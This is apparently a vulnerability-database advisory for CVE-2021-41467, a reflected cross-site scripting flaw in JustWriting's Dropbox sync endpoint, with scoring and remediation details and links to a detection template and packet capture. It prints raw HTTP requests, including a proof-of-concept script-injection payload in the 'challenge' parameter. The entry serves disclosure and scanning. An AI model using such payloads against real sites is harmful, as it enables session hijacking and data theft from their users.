| Title | JustWriting - Cross-Site Scripting |
|---|---|
| Author | madrobot |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to the latest version to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.0516 |
| CVE ID | CVE-2021-41467 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve justwriting xss justwriting_project vuln |
A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Connection: close
Accept-Encoding: gzip
GET /sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41467.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-41467.pcap
N/AN/A